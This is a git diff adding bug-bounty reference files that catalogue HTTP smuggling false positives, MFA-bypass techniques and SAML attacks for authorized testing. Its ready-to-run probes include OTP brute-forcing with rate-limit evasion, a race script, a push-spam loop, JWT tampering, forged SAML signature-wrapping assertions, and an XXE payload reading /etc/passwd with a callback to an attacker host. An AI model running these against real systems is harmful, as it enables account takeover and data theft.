+- **Looks like:** Operator sends a smuggling probe, follow-up request takes 4 seconds (vs. 50ms baseline). Claims smuggling.
+- **Actually is:** Backend load, network jitter, garbage collection pause, or coincidental latency increase. A 4-second spike is not the smoking gun. Real time-delay confirmation should show the configured 30-second hang reliably, repeatedly, with clear distinction from baseline.
+- **How to disprove:** Run the probe 10 times. If 8-9 of them show the 30-second hang and the baseline never does, that is reliable evidence. If timing is variable, the latency was unrelated. Also: vary the smuggled-request timeout (10s, 30s, 60s) and watch the follow-up latency track linearly — that pattern uniquely proves desync.
+
+### "CDN strips TE so smuggling impossible"
+- **Looks like:** Operator notes that the CDN strips Transfer-Encoding. Assumes smuggling is impossible.
+- **Actually is:** Modern smuggling is HTTP/2-driven. The CDN strips TE from HTTP/1.1 requests but may pass it through (or fail to normalize) in HTTP/2-to-HTTP/1.1 downgrade. Stop testing HTTP/1.1 and switch to HTTP/2 probes. Some 2023-2024 CVEs exist for exactly this pattern in major CDN products.
+- **How to disprove:** Run `h2csmuggler` or Burp HTTP/2 probes. If H2-downgrade smuggling fails too, the target may genuinely be hardened — fingerprint and check known CVEs against versions in scope.
+
+### Single 502 response treated as exploitable cache DoS via smuggling
+- **Looks like:** Smuggling probe causes a single 502 in the response. Operator claims smuggling caused a denial of service.
+- **Actually is:** Any HTTP parser disagreement causes 502s. A single 502 is not impact. Real cache DoS via smuggling requires the *cache* to store the 502 and serve it to other users for the duration of the cache TTL.
+- **How to disprove:** Verify the response is cached (`Age:` header, `X-Cache: HIT`) and that other clients fetch the same URL and receive the cached error. If only your session sees the 502, you have a request anomaly, not exploitable cache DoS.
diff --git a/docs/disclosed-reports/hunt-mfa-bypass.md b/docs/disclosed-reports/hunt-mfa-bypass.md
new file mode 100644
index 0000000..474dcee
--- /dev/null
+++ b/docs/disclosed-reports/hunt-mfa-bypass.md
@@ -0,0 +1,184 @@
+# hunt-mfa-bypass — Pattern Library
+
+> Patterns and verifiable public examples behind `hunt-mfa-bypass`. Operator-grade reference, not a complete enumeration. Cited examples here are widely-discussed historical classes, CVEs, and authoritative references any reader can search and verify; uncited patterns are general operator knowledge from public auth-flow disclosures, NIST 800-63B, and vendor MFA documentation.
+
+MFA bypasses pay High–Critical because they convert "I stole one credential" into "I logged in." The bug almost never lives in the OTP cryptography itself; it lives in the state machine that connects the password check, the MFA challenge, and the post-MFA session-establishment. Every transition is a candidate: skipping the challenge entirely, replaying a code, exhausting the brute-force keyspace, downgrading to a weaker factor, recovering codes from an over-permissive `/api/me`, or persisting a pre-MFA flag past the password change that should have revoked it. The patterns below catalogue these state-machine gaps with copy-pasteable probes. Every pattern requires concrete demonstration that the attacker's session reaches a post-MFA-protected resource.
+
+## Cited Public Examples
+
+### MFA-bypass class on major platforms (historical)
+- **Source:** Widely-discussed class of disclosures across major platforms (Twitter/X, GitHub, Facebook, Slack, GitLab, etc.) where MFA flows have been bypassed at one specific endpoint or one specific transition. The class is documented in HackerOne disclosed reports, conference talks at DEF CON / OWASP Global / AppSec USA, and in vendor post-mortems. Cite the class — specific report numbers vary by program.
+- **Pattern shape:** Application has correct MFA on the main login flow but a secondary code path — password reset confirmation, email change confirmation, OAuth account-link, mobile-app token exchange — accepts a session without ever invoking the MFA challenge. Attacker who controls the password reaches a fully-authenticated session without producing a TOTP code.
+- **Key trick:** MFA enforcement is rarely middleware-level. It tends to be checked at the end of the primary login handler. Every other handler that establishes a session needs its own check, and one of them is usually missing.
+- **Why it matters:** This is the most common MFA bug class. Operators auditing an MFA-protected target should enumerate *every* code path that returns a session cookie, not just the login button.
+
+### Roger Grimes — "Hacking Multifactor Authentication" (Wiley, 2020)
+- **Source:** Book by Roger A. Grimes (KnowBe4, formerly Microsoft). ISBN 978-1119650799. Catalogues 50+ MFA bypass techniques across SMS, TOTP, push, U2F, and biometrics.
+- **Pattern shape:** Systematic enumeration of each factor type and its bypass surface. "MFA" is a marketing term covering very different cryptographic guarantees.
+- **Key trick:** Treat each factor independently. A target offering "MFA via SMS or TOTP" is only as strong as the weaker option — the attacker picks the path.
+- **Why it matters:** Authoritative reference for triage debates. Cite specific patterns when a program argues "we have MFA."
+
+### NIST SP 800-63B — Digital Identity Guidelines
+- **Source:** NIST SP 800-63B, "Authentication and Lifecycle Management" at pages.nist.gov/800-63-3/sp800-63b.html. Authoritative US standard.
+- **Pattern shape:** Specifies rate-limit requirements (no more than 100 failed attempts per 30-day window for memorized secrets, throttling on OTP after 5 failures), session-establishment, and assurance levels.
+- **Key trick:** Read as a checklist. For each "SHALL," ask whether the target enforces it. SMS OTP without rate limit violates 5.2.3.
+- **Why it matters:** Citing 800-63B normative language short-circuits triage debate about whether a control is "required."
+
+### Microsoft Smart Lockout documentation
+- **Source:** Microsoft Entra ID Smart Lockout docs at learn.microsoft.com. Defines lockout math: default 10 failed sign-ins → 60-second lockout, doubling on subsequent failed unlocks.
+- **Pattern shape:** Smart Lockout is implemented at the cloud authentication service, not every relying party. Hybrid deployments (on-prem ADFS forwarding to cloud) leak the rate-limit boundary.
+- **Key trick:** The documented math is testable. 10 attempts → measure with 10, 11, 12 — the boundary is the truth.
+- **Why it matters:** When attacking Microsoft-stack auth, deviations from documented lockout math are themselves findings.
+
+### MFA push-fatigue — 2022 Uber and Cisco intrusions
+- **Source:** Public post-incident disclosures from Uber (September 2022) and Cisco Talos (August 2022), both confirming initial access used MFA-push fatigue — repeatedly pushing approval until the victim approved. Verifiable via Uber's incident report and Cisco Talos blog post.
+- **Pattern shape:** MFA-push factors that don't rate-limit pushes per session allow an attacker holding the password to spam the authenticator app until acceptance.
+- **Key trick:** Number-matching (user types a number from the login screen into the authenticator) closes the gap. Test whether the push prompt shows context (location, application, IP) that would let a vigilant user reject.
+- **Why it matters:** Push-MFA is widely deployed and frequently un-rate-limited. The bypass is operational rather than cryptographic.
+
+---
+
+## Pattern Library
+
+### Brute-force the 6-digit OTP — no rate limit
+- **When to suspect:** OTP-verify endpoint accepts a 6-digit code (10^6 keyspace), and you can see no obvious throttling in the response (`X-RateLimit-*`, 429 status, captcha appearance).
+- **Test:** From a session that has completed the password step but not MFA, fuzz the full keyspace:
+ ```bash
+ ffuf -u "https://target.com/api/mfa/verify" \
+ -X POST \
+ -H "Content-Type: application/json" \
+ -H "Cookie: session=$PRE_MFA" \
+ -d '{"code":"FUZZ"}' \
+ -w <(seq -w 000000 999999) \
+ -fc 400,401,429 -t 10 -mr "success|true|token"
+ ```
+ Start with `-t 1` to measure rate-limit response, then ramp. If 429 appears, check whether the threshold is per-IP (rotate X-Forwarded-For) or per-session (open a new pre-MFA session).
+- **Validation:** A code is accepted; you receive a post-MFA session cookie. Verify by hitting a post-MFA-protected endpoint.
+- **Pay-grade rationale:** Critical. ATO assuming attacker has the password.
+
+### OTP replay — same code accepted twice
+- **When to suspect:** Application uses TOTP with a 30-second window or HOTP. After a successful OTP submit, the code's "used" flag may not be set.
+- **Test:** Complete an MFA flow with a valid OTP (`123456`). Log out. Log in again with the same credentials within the OTP's validity window. Submit the *same* `123456`.
+- **Validation:** Second submission succeeds and produces a new session.
+- **Pay-grade rationale:** High. Stolen-OTP becomes persistent ATO if codes never burn.
+
+### MFA-step skip via direct post-login navigation
+- **When to suspect:** Auth flow is: `POST /login` (returns pre-MFA cookie + redirect to `/mfa`) → `POST /mfa/verify` (issues full session) → redirect to `/dashboard`. Pre-MFA and post-MFA sessions may share the same cookie name.
+- **Test:** Complete the password step but NOT the OTP step. With the pre-MFA cookie, navigate directly to a post-MFA-protected endpoint:
+ ```bash
+ curl -s -b "session=$PRE_MFA" https://target.com/api/account
+ curl -s -b "session=$PRE_MFA" https://target.com/dashboard
+ curl -s -b "session=$PRE_MFA" https://target.com/api/transactions
+ ```
+- **Validation:** The endpoint returns the data it would only return to a fully-authenticated user. The pre-MFA cookie has post-MFA capability.
+- **Pay-grade rationale:** Critical. Pure state-machine bypass.
+
+### Response manipulation — client-side MFA check
+- **When to suspect:** Mobile or SPA application where the OTP-verify response shape is `{"success":false,"reason":"invalid_otp"}` or HTTP 401.
+- **Test:** Submit a wrong OTP. Intercept the response in Burp. Change the body to `{"success":true,"token":"<any>"}` or change status `401 → 200`. Forward.
+- **Validation:** Client treats the modified response as success and proceeds to authenticated UI.
+- **Pay-grade rationale:** Medium to high. Real impact requires that the subsequent API calls work with whatever token was issued — often the client is the only check, and the server already issued a usable session at the password step.
+
+### Recovery code dump via `/api/me` or session-info endpoint
+- **When to suspect:** Application exposes a user-profile endpoint (`/api/me`, `/api/user/profile`, `/v1/account`) that returns the full user record.
+- **Test:** Hit the endpoint with a pre-MFA session cookie (after password but before OTP) or with a full session, and inspect the response for fields like `recovery_codes`, `backup_codes`, `mfa.recovery`, `two_factor_recovery_codes`.
+- **Validation:** Response contains the user's recovery codes. Use one to bypass MFA.
+- **Pay-grade rationale:** Critical if recovery codes returned to pre-MFA session; high if only to fully-authenticated session (still a problem because it removes the "secret" property of recovery codes vis-à-vis someone with stolen cookies).
+
+### Race condition on OTP-validate
+- **When to suspect:** OTP validation is "check valid, mark used, issue session" as separate steps without an atomic transaction. The check-and-spend window is the race target.
+- **Test:** Submit the same OTP from N parallel requests:
+ ```python
+ import asyncio, aiohttp
+ async def submit(s, code):
+ async with s.post("https://target.com/api/mfa/verify",
+ json={"code": code}) as r:
+ return r.status, await r.text()
+ async def main():
+ cookies = {"session": "PRE_MFA"}
+ async with aiohttp.ClientSession(cookies=cookies) as s:
+ results = await asyncio.gather(*[submit(s, "123456") for _ in range(20)])
+ print(results)
+ asyncio.run(main())
+ ```
+ Better: Burp Turbo Intruder with `requestsPerConnection=1` and single-packet-attack (last-byte sync). For deeply contended races, h2.cl HTTP/2 single-packet.
+- **Validation:** Multiple submissions succeed with the same code (which should burn on first use).
+- **Pay-grade rationale:** High to critical. Race-condition framing strengthens severity; chain with brute-force class for full ATO.
+
+### Backup-factor downgrade — SMS path weaker than TOTP path
+- **When to suspect:** Account has both TOTP and SMS configured. SMS has a separate verify endpoint or a "send SMS code" recovery flow.
+- **Test:** Initiate the SMS recovery path (`POST /api/mfa/sms/send`). Brute-force the SMS OTP at its dedicated endpoint, which may have weaker rate limiting than the TOTP path. Or send the SMS to a swapped phone number (see SIM swap below).
+- **Validation:** SMS path produces a post-MFA session.
+- **Pay-grade rationale:** High. Weakest-link MFA.
+
+### Cookie persistence past password change
+- **When to suspect:** Password reset flow doesn't invalidate active sessions. You hold a session cookie from before a password change.
+- **Test:** With a captured session cookie (theft / earlier compromise / etc.), keep using it after the user changes the password. Check if `mfa_completed=true` claim or session flag persists.
+- **Validation:** Cookie still authenticates you despite the password change that should have logged you out.
+- **Pay-grade rationale:** High. Defeats the "password reset cleans up compromise" assumption.
+
+### JWT manipulation — flip the `mfa_completed` claim
+- **When to suspect:** Session is a JWT and the payload contains `"mfa": true` or `"amr": ["mfa"]` or `"mfa_completed_at": <timestamp>`. Server may not re-validate the signature on every endpoint.
+- **Test:** Decode the JWT (jwt.io). Modify the payload to set `"mfa": true` even on a pre-MFA session. Re-sign if `alg=HS256` and key is weak (try `alg=none`, key bruteforce with `hashcat -m 16500`, `kid` injection per `hunt-api-misconfig`). If signature validation is broken, server accepts the modified JWT.
+- **Validation:** Endpoint protected by `mfa_completed` flag returns data with the modified JWT.
+- **Pay-grade rationale:** Critical when signature validation is broken; chain otherwise.
+
+### "Remember this device" cookie — IP/UA unbound
+- **When to suspect:** Application has a "trust this device for 30 days" option after MFA. The trust token is a cookie.
+- **Test:** Complete MFA once on device A. Capture the trust cookie (commonly `trust_token`, `device_id`, `remember_device`). Present it from a different IP / UA / fingerprint.
+- **Validation:** Login from new IP skips MFA challenge.
+- **Pay-grade rationale:** Medium to high. Real impact when chained with password leak.
+
+### Push-fatigue — unlimited push prompts
+- **When to suspect:** Application uses push MFA (Duo Push, Microsoft Authenticator push, Okta Verify push). The "send push" endpoint can be triggered repeatedly per login session.
+- **Test:** Spray the "send push" endpoint:
+ ```bash
+ for i in {1..50}; do
+ curl -s -X POST https://target.com/api/mfa/push/send -b "session=$PRE_MFA"
+ sleep 30
+ done
+ ```
+ Eventually a fatigued / distracted victim taps approve.
+- **Validation:** One acceptance is enough to drop a fully-authenticated session into the attacker's hands. Demonstrate in a lab where the operator controls both ends — DO NOT spam real victims without authorization.
+- **Pay-grade rationale:** Medium reportable as a UX flaw; high to critical when chained with confirmed password compromise. The bug is "no number-matching, no rate limit on pushes, no context display."
+
+### WebAuthn challenge replay
+- **When to suspect:** Server issues a WebAuthn challenge but doesn't bind it to the session or doesn't track challenge uniqueness.
+- **Test:** Initiate a WebAuthn flow, capture the challenge and the assertion response. Replay the assertion at the verification endpoint in a different session.
+- **Validation:** Assertion accepted.
+- **Pay-grade rationale:** Critical. WebAuthn replay defeats the strongest commonly-deployed factor.
+
+### MFA-disable / TOTP-regen without re-auth
+- **When to suspect:** Settings page has a "disable two-factor authentication" toggle or "regenerate TOTP secret" button that doesn't require re-entering the current OTP or password.
+- **Test:** From a stolen session (no MFA challenge), disable MFA or regenerate the TOTP secret. Subsequent logins either skip the challenge or use the attacker-controlled secret.
+- **Validation:** MFA state mutated without step-up.
+- **Pay-grade rationale:** High to critical depending on adjacent primitives. Persistent MFA hijack.
+
+---
+
+## Anti-Patterns (FP traps)
+
+### "No rate limit" because the first 6 attempts went through
+- **Looks like:** You submit 6 wrong OTPs and all return 401 with no 429. You report "no rate limit on MFA."
+- **Actually is:** Many implementations allow N "free" attempts (typically 5–10) before triggering a per-account 60-second lockout or sending an email alert. Six attempts is below the threshold. Real rate-limit testing measures the *boundary* — you need to find when it kicks in, not declare its absence after a small sample.
+- **How to disprove:** Submit 10, 20, 50, 100 attempts. Distinguish per-IP, per-account, per-session, and per-username throttling. Rotate `X-Forwarded-For`. Use fresh pre-MFA sessions. If you find the threshold (e.g., 10/min), that's still a finding if 10/min × 60min × 24hr × multiple parallel sessions reaches the 10^6 keyspace in reasonable time. Quantify the math.
+
+### OTP that "looks weak" because digits repeat
+- **Looks like:** Three consecutive OTPs are `123456`, `654321`, `999999` and you suspect predictability.
+- **Actually is:** TOTP per RFC 6238 truncates an HMAC-SHA1 hash modulo 10^6. The output is uniformly distributed; repeated or "pattern-like" outputs happen at the natural rate (1 in 10^6 for any specific value). Three samples is not enough to claim weakness.
+- **How to disprove:** Collect 50+ OTPs over time. Compute the distribution. Apply a chi-squared test against uniform. If still suspicious, decode the algorithm (HOTP/TOTP both use HMAC-SHA1 by default — both produce uniform output). Bias only matters if the shared secret has low entropy, which is a different bug.
+
+### "MFA bypass" that requires a JWT with mfa-completed flag
+- **Looks like:** You hit `POST /api/admin/action` directly with curl, providing a `Authorization: Bearer eyJ...` header, and it succeeds. You declare "MFA bypassed via direct API call."
+- **Actually is:** The JWT you supplied was issued after a legitimate MFA-completed flow (your own). The API correctly accepted the post-MFA token. There's no bypass — you just have a valid session.
+- **How to disprove:** Try the same request with a pre-MFA token (after password step, before OTP step). If accepted, real bypass. If rejected, your earlier test was just using a real session.
+
+### Race-condition "double success" that's actually two valid codes
+- **Looks like:** You race the OTP submission and see two successful responses, declaring code reuse via race.
+- **Actually is:** TOTP windows are usually 30 seconds and may accept the previous 30s window (`window=1` in pyotp). If your two parallel submissions span a window boundary, both codes might be independently valid, neither reused. Or you and a parallel browser session legitimately submitted within the same window — both valid, neither a race.
+- **How to disprove:** Reduce parallel submissions to a single-packet attack with sync at the last byte (`requestsPerConnection=1`). Submit *the same* OTP value in both requests, captured in the same window. Confirm the OTP was *used* by the first submission (try replaying the same value later — should fail). If both still pass, the race is real. If one passes and one fails-with-429-or-burn, no race.
+
+### "Push fatigue worked!" when the test user just accepted because they expected to
+- **Looks like:** You sprayed pushes in a test, the user (you) accepted, and you declare push-fatigue exploitable.
+- **Actually is:** Your test user knew the test was running. Real push fatigue requires a victim who is *not* expecting the prompt. The bug — "no rate limit on push, no number matching, no context display" — exists on the server, but the proof of an exploitable user-decision element requires either documented research on the population (e.g., the Uber incident) or out-of-scope behavioral testing against a non-consenting target.
+- **How to disprove:** Reframe the finding as a server-side control gap: "the server allows N push prompts per minute with no number-matching defense and no contextual display." Report the technical fact; do not claim a behavioral exploit you did not ethically execute. Severity follows the technical control gap, not a hypothesized user reaction.
diff --git a/docs/disclosed-reports/hunt-saml.md b/docs/disclosed-reports/hunt-saml.md
new file mode 100644
index 0000000..5d497ce
--- /dev/null
+++ b/docs/disclosed-reports/hunt-saml.md
@@ -0,0 +1,175 @@
+# hunt-saml — Pattern Library
+
+> Patterns and verifiable public examples behind `hunt-saml`. Operator-grade reference, not a complete enumeration. Cited examples here are academic research, CVE entries, and widely-discussed industry classes any reader can search and verify; uncited patterns are general operator knowledge derived from public SAML library advisories, OASIS specifications, and conference research.
+
+SAML attacks pay top-tier bounties because a single forged assertion silently impersonates any user in the directory — typically including administrators — and SP-side authorization frequently treats the post-SSO session as fully trusted. The bug almost never lives in the cryptography itself; it lives in the parser disagreement between the signature verifier and the application logic that subsequently *reads* the document. The patterns below cluster around the primitives that recur in real disclosures: XML Signature Wrapping, signature stripping, comment injection, missing audience/recipient checks, key trust over-acceptance, and replay windows. Every entry includes the exact XML manipulation because SAML is inert text on the wire, and the bug is usually one element-move or one attribute-flip.
+
+## Cited Public Examples
+
+### XML Signature Wrapping research — Juraj Somorovsky et al. (Ruhr-University Bochum)
+- **Source:** Academic research from Ruhr-University Bochum's Chair for Network and Data Security, beginning with the 2012 paper "On Breaking SAML: Be Whoever You Want to Be" (Somorovsky, Mayer, Schwenk, Kampmann, Jensen — USENIX Security '12). Subsequent work catalogues eight XSW variants and demonstrates them against major SAML frameworks. Verifiable via the paper and the SAML Raider Burp extension that implements the variants.
+- **Pattern shape:** Attacker takes a legitimately signed `<Response>` or `<Assertion>` and relocates the signed element while injecting a forged Assertion the application logic reads first. The signature still verifies because the verifier locates its referenced element by ID, but the application reads a different element by document position.
+- **Key trick:** Eight catalogued variants (XSW1–XSW8) differ in where the wrapper element is placed and how the parser walks the tree to extract NameID and AttributeStatement.
+- **Why it matters:** The canonical SAML bug class. Every SAML library has had at least one XSW-related CVE; variants keep working because library authors fix one path but not all eight. SAML Raider workflow (cycle through XSW1–XSW8) is mandatory bench work.
+
+### Comment injection in NameID (industry class, 2018)
+- **Source:** Coordinated disclosure across SAML libraries in February 2018 — Duo Security's "Duo Finds SAML Vulnerabilities Affecting Multiple Implementations" advisory and CVE-2018-0489 (Shibboleth), CVE-2017-11427 (OneLogin python-saml), CVE-2017-11428 (OneLogin ruby-saml). Cite the class — many CVEs landed in one wave because the root cause was identical across libraries.
+- **Pattern shape:** Signature is computed over canonicalized XML which preserves text-node values across comments. The application code that later reads `NameID` uses a different DOM-walking primitive that returns only the first text node, *stopping at the comment*. So `<NameID>[email protected]<!---->@attacker.com</NameID>` signs over the full string but the SP reads only `[email protected]`.
+- **Key trick:** An empty `<!---->` is enough to split the text-node stream. Fails when both signer and reader use the same canonicalization, but signer and downstream getNameID() frequently disagree.
+- **Why it matters:** Pure parser disagreement, no signature break required. Pivots to any user whose NameID prefix the attacker can craft.
+
+### CVE-2023-40337 — Citrix ADC / Gateway SAML logout assertion handling
+- **Source:** NVD CVE-2023-40337 and Citrix advisory CTX583755. Citrix ADC / Gateway when configured as SAML SP processed assertion fields during logout in a way that allowed an authenticated attacker to escalate privileges. Verifiable through Citrix's security bulletin and the NVD entry.
+- **Pattern shape:** Logout endpoints frequently re-parse assertion data without re-running all the validation that the login path does — recipient, audience, replay. An attacker producing any valid assertion targeted at the SP can manipulate logout-related claims to alter session state.
+- **Key trick:** Login-path SAML validators get scrutiny; logout-path / reauth-path validators do not. Test every endpoint that accepts `SAMLResponse` or `SAMLRequest`, not just the AssertionConsumerService.
+- **Why it matters:** SAML attack surface is anywhere the assertion is parsed. Code paths beyond `/saml/acs` are routinely under-validated.
+
+### OWASP SAML Security Cheat Sheet
+- **Source:** OWASP SAML Security Cheat Sheet, available at cheatsheetseries.owasp.org. Enumerates every validation step a SAML SP must perform: signature verification, issuer check, recipient check, audience restriction, NotBefore / NotOnOrAfter, replay protection, subject confirmation method.
+- **Pattern shape:** The cheat sheet is a checklist. For each item, ask: "does this SP enforce it?" Each unenforced item is at least one bug class.
+- **Key trick:** Read the cheat sheet as an inverted bug list. Every "MUST" is a recurring bug somewhere.
+- **Why it matters:** Authoritative reference. When writing a report, citing the specific OWASP recommendation that was violated short-circuits a lot of triage debate.
+
+---
+
+## Pattern Library
+
+### XSW1 — sibling injection above signature
+- **When to suspect:** SP accepts SAML responses signed by a legitimate IdP and reads NameID / AttributeStatement from the assertion. You have a valid login.
+- **Test:** Capture your own legitimate SAML response. In SAML Raider, apply "XSW1." Manually: clone the existing signed `<Assertion>`, change `NameID` to `[email protected]` in the clone, set the clone's `ID` to a new value, insert the clone as a sibling of the original `<Assertion>` *before* the signed element. Leave the signature pointing at the original `Assertion` ID.
+ ```xml
+ <samlp:Response>
+ <saml:Assertion ID="evil">
+ <saml:Subject><saml:NameID>[email protected]</saml:NameID></saml:Subject>
+ <saml:AttributeStatement>
+ <saml:Attribute Name="Role"><saml:AttributeValue>Administrator</saml:AttributeValue></saml:Attribute>
+ </saml:AttributeStatement>
+ </saml:Assertion>
+ <saml:Assertion ID="legit-original">
+ <saml:Subject><saml:NameID>[email protected]</saml:NameID></saml:Subject>
+ <ds:Signature>...covers ID=legit-original...</ds:Signature>
+ </saml:Assertion>
+ </samlp:Response>
+ ```
+- **Validation:** Re-encode (base64 only — not base64+gzip unless the original was), URL-encode, POST to `/saml/acs`. If the SP logs you in as `[email protected]` while the signature library reports the response as signed, XSW1 lands. Use a uniquely-marked admin test account if possible; otherwise check a NameID whose existence in the directory you can verify.
+- **Pay-grade rationale:** Critical. ATO of any user including administrators.
+
+### XSW2–XSW8 — variant placements
+- **When to suspect:** XSW1 doesn't land. Different libraries traverse the document differently — first-Assertion, last-Assertion, depth-first, breadth-first.
+- **Test:** SAML Raider provides one-click variants. Manually: place the evil assertion (a) inside the `<Extensions>` of the original Response, (b) wrapped inside the original signed Assertion's `Object` element, (c) wrapped *around* the original signed Assertion as the parent, (d) as a sibling below the signature, etc. Each variant exists because some parser walks the DOM in that specific order.
+- **Validation:** Same as XSW1 — SP logs you in as the forged NameID while signature verification reports success.
+- **Pay-grade rationale:** Critical.
+
+### Comment injection in NameID
+- **When to suspect:** Library version pre-2018 patch, or a custom SAML implementation that uses `node.textContent` / `getTextContent()` to extract NameID after signature validation.
+- **Test:** Modify the NameID in your legitimate SAML response (without re-signing):
+ ```xml
+ <saml:NameID>[email protected]<!---->@attacker.com</saml:NameID>
+ ```
+ The signature was computed over the original NameID, but if you can re-sign with your own valid IdP keypair (because you control your own legitimate SAML flow), use comment injection inside *your own* NameID. The canonicalized form `[email protected]@attacker.com` is what signs; the SP's reader may stop at the comment and see `[email protected]`.
+- **Validation:** SP recognizes you as `[email protected]`. Look at session cookie payload, `/api/me`, response headers.
+- **Pay-grade rationale:** Critical when reachable. ATO of any user whose NameID local-part you can craft.
+
+### Signature stripping — no signature accepted
+- **When to suspect:** Custom SAML implementation, or an SP that reports "signed by IdP" but you suspect it never checks signature presence.
+- **Test:** Take your legitimate SAML response, delete the entire `<ds:Signature>` element, change NameID to a victim, re-encode, submit.
+ ```bash
+ base64 -d <<< "$SAML" | xmllint --format - > saml.xml
+ # delete <ds:Signature>...</ds:Signature>
+ # change NameID
+ cat saml.xml | base64 -w0
+ ```
+- **Validation:** SP accepts the unsigned assertion as logged-in user.
+- **Pay-grade rationale:** Critical. Even rarer than XSW but devastating when it lands.
+
+### Response signed but Assertion not — signature on wrong element
+- **When to suspect:** SP claims "responses are signed." Inspect the signature reference URI — does it cover the `<samlp:Response>` element, or the `<saml:Assertion>` element?
+- **Test:** When only the Response is signed (not the inner Assertion), inject an additional unsigned Assertion inside the signed Response. The Response's signature still validates (the signed element is unchanged), but the SP reads the injected Assertion.
+- **Validation:** Forged NameID accepted while signature reports valid.
+- **Pay-grade rationale:** Critical. Subtle and frequently overlooked by code review.
+
+### Unsigned assertion bypass — neither Response nor Assertion checked
+- **When to suspect:** SP integration documentation says "we trust the network channel" or "IdP is on the intranet."
+- **Test:** Forge an entire SAML response with no signature whatsoever and submit it to `/saml/acs`.
+- **Validation:** SP accepts.
+- **Pay-grade rationale:** Critical. Anyone reachable by the SP can become any user.
+
+### Missing recipient / audience restriction validation
+- **When to suspect:** SP and IdP are deployed across multiple SPs sharing one IdP (common in enterprise setups). You have a legitimate assertion targeted at SP-A.
+- **Test:** Submit the SP-A assertion (unmodified) to SP-B's `/saml/acs`. The signature is valid (legitimately signed by the shared IdP). The `Recipient` attribute in `<SubjectConfirmationData>` and the `Audience` element point at SP-A. If SP-B doesn't check, it will accept.
+- **Validation:** You log into SP-B with an assertion that was issued for SP-A.
+- **Pay-grade rationale:** High to critical depending on SP-B's privilege model.
+
+### KeyInfo trust — attacker embeds their own certificate
+- **When to suspect:** SP extracts the verification key from the `<ds:KeyInfo>` block of the response itself rather than from a configured trust anchor.
+- **Test:** Generate your own keypair. Sign a forged response with your private key. Embed the matching public certificate in `<ds:X509Certificate>` inside the response's `<ds:KeyInfo>`. Submit.
+- **Validation:** SP verifies the signature against the attacker-supplied certificate and accepts the assertion.
+- **Pay-grade rationale:** Critical.
+
+### IdP confusion — wrong Issuer accepted
+- **When to suspect:** Multi-IdP SP that doesn't enforce which IdP issued which type of assertion. You control one IdP (a federated IdP, social login, or self-hosted Shibboleth).
+- **Test:** Sign an assertion with your own IdP's key, set `<saml:Issuer>` to your IdP's entity ID, set NameID to a directory user from the *other* IdP's namespace. Submit to the SP.
+- **Validation:** SP maps the NameID into the wrong directory and grants the other-IdP user's session.
+- **Pay-grade rationale:** Critical.
+
+### Replay attack — NotOnOrAfter unbounded or far in future
+- **When to suspect:** SP doesn't track Assertion IDs to prevent replay, and the `Conditions/NotOnOrAfter` is set hours or days in the future.
+- **Test:** Capture a legitimate SAML response (yours or victim's, if intercepted). Replay it later, possibly from a different IP. If accepted, replay works.
+- **Validation:** Replay produces a fresh session.
+- **Pay-grade rationale:** Medium to high. Higher when chained with a primitive that exposes assertions (logging, referer leak, intermediate proxy).
+
+### XXE in SAML assertion
+- **When to suspect:** SAML processor uses an older XML parser (libxml2 pre-2.9, default Java XMLInputFactory without entity restrictions, .NET XmlDocument without `XmlResolver = null`).
+- **Test:** Inject an external entity:
+ ```xml
+ <?xml version="1.0"?>
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+ <samlp:Response>
+ <saml:Assertion>
+ <saml:Subject><saml:NameID>&xxe;</saml:NameID></saml:Subject>
+ </saml:Assertion>
+ </samlp:Response>
+ ```
+- **Validation:** SP error message reflects file contents, or out-of-band callback fires for `http://collaborator.attacker.com/x`.
+- **Pay-grade rationale:** High when file read; critical when blind SSRF or RCE chains.
+
+### Pre-account-takeover via SAML JIT provisioning
+- **When to suspect:** SP supports both password login and SAML, with Just-In-Time provisioning.
+- **Test:** Before the legitimate user signs up, log in via SAML asserting their NameID. SP auto-provisions an account bound to the SAML identity. When legitimate user later signs up via password, SP either merges (attacker access) or refuses to overwrite (victim lockout).
+- **Validation:** Account merge or victim lockout demonstrated.
+- **Pay-grade rationale:** High to critical depending on merge semantics.
+
+### Encrypted assertion downgrade
+- **When to suspect:** SP supports both signed-only and signed+encrypted assertions. Encryption is optional.
+- **Test:** Capture an encrypted-assertion response. Re-encode without the encryption envelope (replace `<saml:EncryptedAssertion>` with a plain `<saml:Assertion>` you forged). Submit.
+- **Validation:** SP accepts plaintext assertion despite earlier encrypted operation.
+- **Pay-grade rationale:** High; opens XSW and parsing attacks on a previously-protected channel.
+
+---
+
+## Anti-Patterns (FP traps)
+
+### "Signature present therefore signature verified"
+- **Looks like:** You submit a tampered SAML response with the original signature still present. The SP doesn't error out, the response is accepted, and you assume the signature check is broken.
+- **Actually is:** Some SPs parse the signature element but don't actually run the verification routine — they just check the element is present. To prove the bug, you need to show that a *signature whose computed value doesn't match the canonicalized body* is still accepted. This is a parser-vs-verifier disagreement, not a signature break.
+- **How to disprove:** Take a legitimate response, change *one byte* in the assertion body without re-signing, submit. If accepted, the signature isn't actually verified. If rejected, the verifier is running — pursue XSW variants instead. Cite the specific bytes you changed in the report.
+
+### XSW "succeeds" but you logged in as yourself
+- **Looks like:** You apply XSW1 with NameID `[email protected]`, submit, and reach a logged-in dashboard. Looks like ATO of admin.
+- **Actually is:** Several SP libraries find the *signed* Assertion (your original) and extract NameID from there. The forged Assertion is parsed but ignored. You logged in as yourself — XSW didn't land.
+- **How to disprove:** Check `/api/me`, the session cookie payload, audit logs, or any UI element that displays the current username. If it shows your own account, no XSW. Try the other XSW variants — different libraries pick different Assertions. Confirm with a uniquely-marked admin test account whose NameID local-part doesn't collide with your own.
+
+### Comment injection that doesn't survive canonicalization
+- **Looks like:** You injected `<!---->` in NameID and the response was accepted. You suspect the SP read the truncated form.
+- **Actually is:** Some libraries call `c14n` (canonicalization) before passing the parsed value to application logic — the comment is normalized away identically by both the signer and the reader. The accept doesn't prove the comment exploit; the SP might just be reading the full NameID.
+- **How to disprove:** Inspect the actual session — what NameID did the SP store? If it stored the full `[email protected]@attacker.com`, comment injection didn't bypass the reader. If it stored `[email protected]`, the reader stopped at the comment. The session/audit-log inspection is the only ground truth.
+
+### SAML response returns HTTP 400 — assumed signature rejection
+- **Looks like:** You posted a forged response, got HTTP 400, and assumed the SP rejected the signature.
+- **Actually is:** 400 frequently comes from XML schema validation failing earlier in the pipeline (malformed timestamps, missing required attributes, unexpected element ordering). The signature check might never have run. To exercise the signature path, make the response schema-valid first.
